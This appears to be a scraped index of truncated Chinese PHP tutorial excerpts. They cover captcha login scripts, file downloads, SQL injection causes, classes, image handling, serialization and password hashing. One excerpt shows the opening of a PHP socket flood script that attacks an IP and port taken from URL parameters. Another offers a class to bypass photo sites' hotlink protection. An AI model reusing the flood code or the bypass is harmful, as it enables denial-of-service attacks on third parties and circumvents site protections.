Time of Update: 2017-01-19
網上的很多類比登入程式,大都是通過服務程式apache之類的運行,擷取到驗證碼之後顯示在網頁上,然後填上再POST出去,這樣雖然看起來很友 好,但是既然類比登入,登入後所乾的事情就不一定是短時間完成的,所以這就要受到php最大執行時間的限制,而且有些操作還有可能許可權不足。本文提供了一個程式執行個體,思路就是擷取到驗證碼之後把驗證碼儲存為一個圖片,然後程式休眠20秒,在20秒之後由使用者手動查看圖片,並把驗證碼填寫
Time of Update: 2017-01-19
最近有人問我做下載檔案的方法,對於php方法如下: 複製代碼 代碼如下: <?php header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=ins.jpg"); readfile("imgs/test_Zoom.jpg"); ?> 第一行代碼是強制下載; 第二行代碼是給下載的內容指定一個名字; 第三行代碼是把下載的內容讀進檔案中。
Time of Update: 2017-01-19
1. php 設定檔 php.ini 中的 magic_quotes_gpc 選項沒有開啟,被置為 off 2. 開發人員沒有對資料類型進行檢查和轉義 不過事實上,第二點最為重要。我認為, 對使用者輸入的資料類型進行檢查,向 MYSQL 提交正確的資料類型,這應該是一個 web 程式員最最基本的素質。但現實中,常常有許多小白式的 Web 開發人員忘了這點, 從而導致後門大開。 為什麼說第二點最為重要?因為如果沒有第二點的保證,magic_quotes_gpc 選項,不論為 on,還是為
Time of Update: 2017-01-19
本文執行個體講述了php類的定義與繼承用法。分享給大家供大家參考。具體如下:<?php/* * class */ class people { public $name; public $age; function __construct($namec,$agec) { $this->name = $namec; $this->age = $agec; } protected function getmessage() { return
Time of Update: 2017-01-19
本文執行個體講述了php抽象類別用法。分享給大家供大家參考。具體如下:<?php/* * abstract * 抽象類別: * 1、至少有一個抽象方法(沒有具體實現的方法) * 2、不能被執行個體化,可以被繼承 * 3、抽象類別可以有子抽象類別 * 相對於介面: * 1、可以有屬性 * 2、一個子類只能繼承一個抽象類別,但是可以實現多個介面 * * * */ abstract class qian { abstract function getfirst();
Time of Update: 2017-01-19
<?php /** * @author xiaoxiao <x_824@sina.com> 2011-1-12 * @link http://xiaoyaoxia.cnblogs.com/ * @license * 統計目錄下的檔案行數及總檔案數··去除注釋 */ $obj = new CaculateFiles(); //如果設定為false,這不會顯示每個檔案的資訊,否則顯示 $obj->setShowFlag(false); //會跳過所有All開頭的檔案
Time of Update: 2017-01-19
設計模式 一書將設計模式引入軟體社區,該書的作者是 Erich Gamma、Richard Helm、Ralph Johnson 和 John Vlissides Design(俗稱 “四人幫”)。所介紹的設計模式背後的核心概念非常簡單。經過多年的軟體開發實踐,Gamma 等人發現了某些具有固定設計的模式,就像建築師設計房子和建築物一樣,可以為浴室的位置或廚房的構造方式開發模板。使用這些模板或者說設計模式
Time of Update: 2017-01-19
Streams 是PHP提供的一個強有力的工具,我們常常在不經意會使用到它,如果善加利用將大大提高PHP的生產力。 駕馭Streams的強大力量後,應用程式將提升到一個新的高度。下面是PHP手冊中對Streams的一段描述: Streams 是在PHP
Time of Update: 2017-01-19
以下是PHP原始碼(ResizeImage.php)。 複製代碼 代碼如下: <?php $FILENAME="image.thumb"; // 產生圖片的寬度 $RESIZEWIDTH=400; // 產生圖片的高度 $RESIZEHEIGHT=400; function ResizeImage($im,$maxwidth,$maxheight,$name){ $width = imagesx($im); $height = imagesy($im); if(($maxwidth &&
Time of Update: 2017-01-19
對PHP語言有些瞭解的朋友們都知道,它包含有功能強大的函數庫。我們今天就一起來瞭解一下PHP uploaded_files函數的具體功能。 在早期的PHP版本中,上傳檔案很可能是通過如下的代碼實現的: 複製代碼 代碼如下: …… if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; } if (file_exists($tmp_name)) { copy($tmp_name,$destfile); } ……
Time of Update: 2017-01-19
注意: 除非數組是被引用,foreach 所操作的是指定數組的一個拷貝,而不是該數組本身。因此數組指標不會被 each() 結構改變,對返回的數組單元的修改也不會影響原數組。 1. 自php5起,foreach 還可能遍曆對象的屬性。 2. 自php5起,foreach 可以很容易地通過在 $value 之前加上 & 來修改數組的單元,此方法將以引用賦值而不是拷貝一個值。 複製代碼 代碼如下: <?php $arr = array(1, 2, 3, 4); foreach ($arr
Time of Update: 2017-01-19
用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,常見代碼如下: 複製代碼 代碼如下: $packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \";
Time of Update: 2017-01-19
概述PHP有著眾多的內建函數,其中大多數函數都被開發人員廣發使用。但也有一些同樣有用卻被遺忘在角落,本文將介紹7個鮮為人知功能卻非常酷的函數。highlight_string()當需要在網頁中展示PHP代碼時,highlight_string()函數就顯得非常有用。該函數通過PHP內建定義的顏色,返回函數中代碼的高亮顯示版本。複製代碼 代碼如下:<?php highlight_string('<?php echo "hello
Time of Update: 2017-01-19
本文執行個體講述了php實現的網路相簿圖片防盜鏈完美破解方法。分享給大家供大家參考。具體如下:網路相簿圖片防盜鏈破解程式 - PHP版 這個防盜鏈破解版可以完美破解當下比較流行的: 百度相簿,網易相簿,360我喜歡等網站圖片. 還可以實現簡單的圖片防盜鏈. 因為這個類是先進行擷取遠程圖片, 然後再把圖片發送到用戶端,所以,算是進行了兩次流量的傳送.因此,會浪費空間流量,接下來,會開發緩衝功能,這樣可以實現節約流量!<?php /** * 網路相簿圖片防盜鏈破解程式 -
Time of Update: 2017-01-19
本文執行個體講述了PHP根據圖片色界在不同位置加浮水印的方法。分享給大家供大家參考。具體實現方法如下:function add_wm($nmw_water, $src_file, $output_file, $x, $y) { if(file_exists($output_file)) return; $w1 = MagickGetImageWidth($nmw_water); $h1 =
Time of Update: 2017-01-19
代碼很簡單,這裡就不多廢話了,<?php/** * Created by PhpStorm. * User: Administrator * Date: 2015/6/29 * Time: 21:25 */header('Content-type:image/png');//設定mime type$img = imagecreate(400,300);//設定圖片像素imagecolorallocate($img,255,255,255);//給圖片上色imageellipse($
Time of Update: 2017-01-19
php中有格式化字串並轉換成數組或對象的好方法,即序列化處理。有兩種序列化變數的方法。以下樣本,使用 serialize() 和 unserialize() 函數:// a complex array$myvar = array( 'hello', 42, array(1,'two'), 'apple');// convert to a string$string = serialize($myvar);echo $string;/* printsa:4:{i:0;s:5:"hello";i:1
Time of Update: 2017-01-19
is_file() 函數檢查指定的檔案名稱是否是正常的檔案。is_file — Tells whether the filename is a regular file用法:bool is_file ( string $filename ) $file 為必選參數如果檔案存在且為正常的檔案則返回 TRUE。先來看一個執行個體一:<?phpvar_dump(is_file('a_file.txt')) . "\n";var_dump(is_file('/usr/bin/')) . "
Time of Update: 2017-01-19
1.聲明 密碼學是一個複雜的話題,我也不是這方面的專家。許多高校和研究機構在這方面都有長期的研究。在這篇文章裡,我希望盡量使用簡單易懂的方式向你展示一種安全儲存Web程式密碼的方法。 2.“Hash”是做什麼的? “Hash將一段資料(小資料或大資料)轉換成一段相對短小的資料,如字串或整數。” 這是依靠單向hash函數來完成的。所謂單向是指很難(或者是實際上不可能)將其反轉回來。一個常見的hash函數的例子是md5(),它流行於各種電腦語言和系統。 複製代碼 代碼如下: $data =
Time of Update: 2017-01-19
例如: 複製代碼 代碼如下: function say () { alert (arguments[0]+'說:'+arguments[1]); } say ('fanglor','fanglor is a boy !'); 結果:彈出 fanglor 說:fanglor is a boy ! -------------------------------------------------------------------------------- 這個有點類似於php 中的